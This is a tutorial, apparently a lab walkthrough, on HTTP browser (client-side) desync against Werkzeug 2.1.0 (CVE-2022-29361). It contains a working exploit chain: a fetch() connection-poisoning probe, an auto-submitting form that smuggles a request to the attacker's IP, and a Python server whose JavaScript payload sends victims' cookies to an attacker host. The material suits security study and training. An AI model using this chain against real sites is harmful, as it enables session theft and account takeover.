HTTP browser desync, often called client-side desynchronization, abuses how a vulnerable server handles persistent browser connections. The attacker poisons the browser's request queue so that the victim's next legitimate request is replaced or prefixed with attacker-controlled bytes. In practice, this can turn a same-origin browser session into a delivery mechanism for redirects, XSS, session theft, or other account takeover paths.
HTTP keep-alive lets the client reuse a single TCP connection for multiple requests and responses. That improves performance, but it also means leftover bytes on the connection can affect what happens next.
If the server mishandles one request body, the next request on that same browser connection can be desynchronized.
At a high level, the server has to know where one request ends and the next begins. In HTTP/1.1 that usually depends on boundaries such as Content-Length.
If the server ignores or misinterprets those boundaries, attacker-controlled bytes can remain queued and be treated as the beginning of the next request.
The attack usually happens in two stages:
A common pattern is a POST request whose body secretly begins with a second request such as GET /redirect HTTP/1.1. If the backend fails to consume the body safely, the hidden request remains in the connection queue.
When the browser later sends another same-origin request, the queued request is processed first.
The power of the attack comes from connection reuse inside the victim's browser. If you can make the victim send the poisoning request and the follow-up request over the same persistent connection, you can hijack the sequencing of what the server sees.
Because the traffic is same-origin in the target scenario, browser cookie-sharing rules can work in the attacker's favor.
The source material demonstrates the issue with Werkzeug v2.1.0 and CVE-2022-29361. The key idea is that keep-alive handling allowed a poisoned request body to persist across requests when the server was configured in a way that reused connections.
fetch('http://MACHINE_IP:5000/', {
method: 'POST',
body: 'GET /redirect HTTP/1.1\r\nFoo: x',
mode: 'cors',
})
This uses the browser itself to poison the connection. If the next page refresh produces behavior consistent with the hidden /redirect request instead of the expected route, the server is likely vulnerable.
fetch() HelpsThe browser keeps ownership of the connection, which is exactly what the attacker needs. Using fetch() makes it possible to send the initial poisoning request from JavaScript and rely on the same browser connection for the next action.
The source also uses mode: 'cors' to influence how the browser handles the follow-up behavior and visible errors.
By itself, browser desync may only give you a redirect, a 404, or swapped response behavior. The real impact comes from chaining it into a payload delivery mechanism.
One useful path is to make the victim browser fetch attacker-controlled JavaScript on the next request, turning the desync into XSS and cookie theft.
<form id="btn" action="http://challenge.thm/"
method="POST"
enctype="text/plain">
<textarea name="GET http://YOUR_IP:1337 HTTP/1.1
AAA: A">placeholder1</textarea>
<button type="submit">placeholder2</button>
</form>
<script> btn.submit() </script>
This style of gadget abuses a browser-generated form submission to poison the connection and overwrite the bytes of the following request.
method="POST" creates the first request used to poison the queue,enctype="text/plain" avoids default encoding that would corrupt the crafted request bytes,textarea name is used to shape the smuggled request line and headers,from http.server import BaseHTTPRequestHandler, HTTPServer
class ExploitHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/':
self.send_response(200)
self.send_header("Access-Control-Allow-Origin", "*")
self.send_header("Content-type", "text/html")
self.end_headers()
self.wfile.write(b"fetch('http://YOUR_IP:8080/' + document.cookie)")
HTTPServer(('', 1337), ExploitHandler).serve_forever()
The desync redirects the victim browser to this hostile server, which returns a JavaScript payload that exfiltrates the victim's cookie.